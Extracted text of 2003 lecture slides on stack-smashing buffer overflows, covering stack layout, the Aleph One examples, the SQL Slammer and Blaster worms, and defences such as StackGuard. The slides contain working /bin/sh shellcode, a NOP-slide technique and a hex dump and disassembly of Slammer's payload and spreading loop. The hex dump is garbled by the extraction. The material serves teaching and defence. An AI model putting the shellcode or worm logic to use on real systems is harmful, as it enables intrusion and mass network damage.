Smashing the Stack

Launching or Preventing a Slammer-like Worm

Mark Shaneck October 28, 2003

More Admin Stuff

Midterm
Nov.
Oct.

4th.

While Professor Kim is away

28: Buffer Overflow Oct. 30: Review

PPT file is temporarily available.

filename

= lec**.PPT Download if you need!

Todays slides: available at http://www-users.cs.umn.edu/~shaneck/

2

Buffer Overflows

General Overview of Buffer Overflow Mechanism Real Life Examples - SQL Slammer - Blaster Prevention and Detection Mechanisms

General Overview

Can be done on the stack or on the heap. Can be used to overwrite the return address (transferring control when returning) or function pointers (transferring control when calling the function)
Smashing the Stack (overflowing buffers on the stack to overwrite the return address) is the easiest vulnerability to exploit and the most common type in practice
4

Are Buffer Overflows Really A Problem?

A large percentage of CERT advisories are about buffer overflow vulnerabilities. They dominate the area of remote penetration attacks, since they give the attacker exactly what they want - the ability to inject and execute attack code.

Are Buffer Overflows Really A Problem?

Are Buffer Overflows Really A Problem?

60% 50% 40% 30% 20% 10% 0% 1988 1990 1992 1994 1996 1998

Percentage of CERT advisories due to buffer overflows each year

7

Stack Smashing Source

Smashing the Stack for Fun and Profit, by Aleph One Published in Phrack, Volume 7, Issue 49

Anatomy of the Stack

Assumptions
Lower Memory Addresses

Stack

Stack grows down (Intel, Motorola, SPARC, MIPS)

Stack pointer points to the last address on the stack

Heap Data Executable Code

9

Example Program
Let us consider how the stack of this program would look:
void function(int a, int b, int c){ char buffer1[5]; char buffer2[10]; } int main(){ function(1,2,3); }
10

Stack Frame
pushl $3 pushl $2 pushl $1 call function function prolog pushl %ebp movl %esp, %ebp subl $20, %esp Allocates space for local variables Function Parameters
Higher Memory Addresses

Return Address
Saved Frame Pointer

Local Variables

11

Linear View Of Frame/Stack

Bottom of memory Top of stack Top of memory Bottom of stack

12

buffer2

buffer1

sfp ret

12

Example Program 2
Buffer overflows take advantage of the fact that bounds checking is not performed
void function(char *str){ char buffer[16]; strcpy(buffer, str); } int main(){ char large_string[256]; int i; for (i = 0; i < 255; i++){ large_string[i] = A; } function(large_string); }

13

Example Program 2
When this program is run, it results in a segmentation violation Bottom of memory Top of stack Top of memory Bottom of stack

16

AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA

buffer

sfp ret *str

The return address is overwritten with AAAA (0x41414141) Function exits and goes to execute instruction at 0x41414141..
14

Example Program 3
Can we take advantage of this to execute code, instead of crashing?
void function(int a, int b, int c){ char buffer1[5]; char buffer2[10]; int *r; r = buffer1 + 12; (*r) += 8; } int main(){ int x = 0; function(1,2,3); x = 1; printf(%d\n, x); }

15

Example Program 3
buffer1 + 12

Top of memory Bottom of stack

Bottom of memory Top of stack

12

+8
r buffer2 buffer1 sfp ret a b c

This causes it to skip the assignment of 1 to x, and prints out 0 for the value of x Note: modern implementations have extra info in the stack between the local variables and sfp. This would slightly impact the value added to the address of buffer1.

16

So What?

We have seen how we can overwrite the return address of our own program to crash it or skip a few instructions. How can these principles be used by an attacker to hijack the execution of a program?

17

Exploit Considerations

All NULL bytes must be removed from the code to overflow a character buffer (easy to overcome with xor instruction) Need to overwrite the return address to redirect the execution to either somewhere in the buffer, or to some library function that will return control to the buffer (many Microsoft dlls have code that will jump to %esp when jumped to properly - there is a convenient searchable database of these on metasploit.org) If we want to go to the buffer, how do we know where the buffer starts? (Basically just guess until you get it right)
18

Spawning A Shell
First we need to generate the attack code:
jmp popl movl xorl movb movl movb movl leal leal int xorl movl inc int call .string 0x1F %esi %esi, 0x8(%esi) %eax, %eax %eax, 0x7(%esi) %eax, 0xC(%esi) $0xB, %al %esi, %ebx 0x8(%esi), %ecx 0xC(%esi), %edx $0x80 %ebx, %ebx %ebx, %eax %eax $0x80 -0x24 /bin/sh

char shellcode[] = \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89 \x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff \xff\xff/bin/sh;

Generating the code is an issue for another day. However, the idea is that you need to get the machine code that you intend to execute.
19

Get the Attack Code to Execute

Bottom of memory Top of stack Top of memory Bottom of stack

SSSSSSSSSSSSSSSSSSSSSSSSSS

buffer

sfp ret

Fill the buffer with the shell code, followed by the address of the beginning of the code. The address must be exact or the program will crash. This is usually hard to do, since you dont know where the buffer will be in memory.
20

Get the Attack Code to Execute

Bottom of memory Top of stack Top of memory Bottom of stack

NNNNNNS S S S S S S S S S S S S S S S S S S S

buffer

sfp ret

You can increase your chances of success by padding the start of the buffer with NOP instructions (0x90). As long as it hits one of the NOPs, it will just execute them until it hits the start of the real code.
21

How To Find Vulnerabilities

UNIX - search through source code for vulnerable library calls (strcpy, gets, etc.) and buffer operations that dont check bounds. (grep is your friend) Windows - wait for Microsoft to release a patch. Then you have about 6 - 8 months to write your exploit

22

Buffer Overflows

General Overview of Buffer Overflow Mechanism Real Life Examples - SQL Slammer - Blaster Prevention and Detection Mechanisms

23

Slammer Worm Info

First example of a high speed worm (previously only existed in theory) Infected a total of 75,000 hosts in about 30 minutes Infected 90% of vulnerable hosts in 10 min Exploited a vulnerability in MS SQL Server Resolution Service, for which a patch had been available for 6 months
24

Slammer Worm Info

Code randomly generated an IP address and sent out a copy of itself Used UDP - limited by bandwidth, not network latency (TCP handshake). Packet was just 376 bytes long Spread doubled every 8.5 seconds Max scanning rate (55 million scans/second) reached in 3 minutes
25

Slammer Worm - Eye Candy

26

Slammer Worm - Eye Candy

27

SQL Server Vulnerability

If UDP packet arrives on port 1434 with first byte 0x04, the rest of the packet is interpreted as a registry key to be opened The name of the registry key (rest of the packet) is stored in a buffer to be used later The array bounds are not checked, so if the string is too long, the buffer overflows and the fun starts.

28

0000: 4500 0010: cb08 0020: 0101 UDP packet 0030: 0101 0040: 0101 header 0050: 0101 0060: 0101 0070: 0101 0080: 42eb 0090: 4290 00a0: 0101 00b0: 89e5 Main loop of 5168 2e64 6c6c 6865 6c33 3268 00c0: 726e 5168 6f75 6e74 6869 636b 4368 Slammer: generate 00d0: 7454 This 66b9 value 6c6c overwrites 5168 3332the 2e64 6877 return new random IP 00e0: 5f66 b965 7451 6873 6f63 6b66 b974 address and points it to a location address, push 00f0: 6873 656e 64be 1810 ae42 8d45 d450 in sqlsort.dll which effectively 0100:onto 508d 45e0 508d 45f0 50ff 1650 be10 arguments stack, 0110: 428b 1e8b calls 033d a558b 7405 be1c jumpec51 to %esp call send method, loop 0120: 42ff 16ff d031 c951 5150 81f1 0301 around 0130: 81f1 0101 0101 518d 45cc 508b 45c0 0140: 166a 116a 026a 02ff d050 8d45 c450 0150: c050 ff16 89c6 09db 81f3 3c61 d9ff 0160: b48d 0c40 8d14 88c1 e204 01c2 c1e2 0170: c28d 0490 01d8 8945 b46a 108d 45b0 0180: c951 6681 f178 0151 8d45 0350 8b45 0190: ffd6 ebca

This byte signals the SQL Server to store SQL Slammer Worm UDP packet the contents of the 0194 b6db 0000 6d11 2e2d 89e5 0a9c E.....m..-... packet in the buffer This is the first 07c7 1052 059a 0180 bda8 0401 0101 ...R........ 0101 0101 0101 0101 instruction to0101 get 0101 0101 ................ 0101 0101 0101 0101 0101 0101 0101 ................ The 0x01 executed. It jumps 0101 0101 0101 0101 0101 0101 0101 ................ characters overflow to here. 0101 0101 control 0101 0101 0101 0101 0101 ................ the buffer and spill 0101 0101 0101 0101 0101 0101 0101 ................ 0101 0101 0101 0101 0101 01dc c9b0 ............. into the stack right 0e01 0101 0101 0101 70ae 4201 70ae B........pB.p up to the return 9090 9090 9090 9068 dcc9 b042 b801 B........hB. 0131 c9b1 1850 e2fd 3501 0101 0550 ...1.P5....P address

NOP slide

6b65 4765 7332 6f51 ff16 10ae 10ae 049b 50ff 8b45 8b45 0829 5031 ac50

.Qh.dllhel32hke rnQhounthickChGe Restore payload, set tTfllQh32.dhws2 up socket structure, _fetQhsockftoQ and get the seed for hsend..B.EP.. the random number P.EP.EP..P.. B....=U.Qt... generator B...1QQP..... .....Q.EP.EP. .j.j.j..P.EP.E P......a...E ..@......) .....Ej..EP1 Qf.x.Q.E.P.EP 29 .

Slammer Worm Main Loop

Main loop of the code is just 22 Intel machine instructions long

PSEUDO_RAND_SEND: mov eax, [ebp-4Ch] ; Load the seed from GetTickCount into eax and enter pseudo ; random generation. The pseudo generation also takes input ; an xor'd IAT entry to assist in more random generation. lea lea shl add shl sub lea add mov ecx, [eax+eax*2] edx, [eax+ecx*4] edx, 4 edx, eax edx, 8 edx, eax eax, [eax+edx*4] eax, ebx [ebp-4Ch], eax ; Store generated IP address into sock_addr structure.
30

Slammer Worm Main Loop

push lea 10h eax, [ebp-50h] ; Load address of the sock_addr ; structure that was created earlier, ; into eax, then push as an argument ; to sendto(). eax ecx, ecx ; Push (flags) = 0 ecx ecx, 178h ; Push payload length = 376 ecx eax, [ebp+3] ; Push address of payload eax eax, [ebp-54h] eax esi ; sendto(sock,payload,376,0, sock_addr struct, 16) short PSEUDO_RAND_SEND
31

push xor push xor push lea push mov push call jmp

Slammer Worm

Could have been much worse Slammer carried a benign payload devastated the network with a DOS attack, but left hosts alone Bug in random number generator caused Slammer to spread more slowly (last two bits of the first address byte never changed)
32

Buffer Overflows

General Overview of Buffer Overflow Mechanism Real Life Examples - SQL Slammer - Blaster Prevention and Detection Mechanisms

33

Blaster Worm

Much more complex then Slammer Much slower than Slammer Exploits a buffer overflow vulnerability in Microsoft DCOM RPC interface Worm downloads a copy of mblast.exe to compromised host from infecting host via TFTP and runs commands to execute it mblast.exe attempts to carry out SYN flood attack on windowsupdate.com as well as scanning/infecting other hosts
34

Blaster Worm Effects

DOS attack on windowsupdate.com failed the regular domain name is windowsupdate.microsoft.com Windowsupdate.com was just a pointer to the windowsupdate.microsoft.com - so Microsoft just decomissioned it

35

Blaster Worm - Eye Candy

36

Blaster-B

Changed name from mblast.exe to teekids.exe Changed registry entry from HKLM\Software\Microsoft\Windows\ CurrentVersion\Run\windows auto update to HKLM\Software\Microsoft\Windows\CurrentVe rsion\Run\Microsoft Inet Xp Changed hidden internal message from I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!! to something a bit more obscene 37 FBI says he did more. Who to believe?

Blaster-B

Jeffrey Parson from Hopkins, MN was arrested because he was careless (used his online handle for the exe name - teekid, distributed viruses on his website which was registered under his real name and address, and was seen testing his worm by witnesses) Most worm/virus writers arent so careless No current way to track them down
38

Buffer Overflows

General Overview of Buffer Overflow Mechanism Real Life Examples - SQL Slammer - Blaster Prevention and Detection Mechanisms

39

Overflow Prevention Measures

Hand inspection of source code - very time consuming and many vulnerabilities will be missed (Windows - 5 million lines of code with new vulnerabilities introduced constantly) Various static source code analysis tools - use theorem proving algorithms to determine vulnerabilities in source code - finds many but not all Make stack non-executable - does not prevent all attacks 40

Overflow Detection Measures

StackGuard
Places a canary (32 bit number) on the stack between

local variables and the return address Initialized to some random number at program start up Before using the return address, it checks the canary with the initial value. If it is different, there was an overflow and the program terminates. Not foolproof and requires modification of compiler and recompilation of software
41

Buffer Overflow and IDS

Signature-based Intrusion Detection System

Takes time to get signatures

Anomaly Detection system

Hard to find all buffer overflows. Buffer Overflow does not look abnormal! Is it? RESEARCH ISSUE!!!

Future Work:
Analysis of worm payload / packet content See whats in common for attacks Can attackers randomize enough to avoid detection?
42

Conclusion

Detecting is hard! Then what?

Should we wait until MS finds all BOs? Or wait until we got another Slammer? Something has to done!

43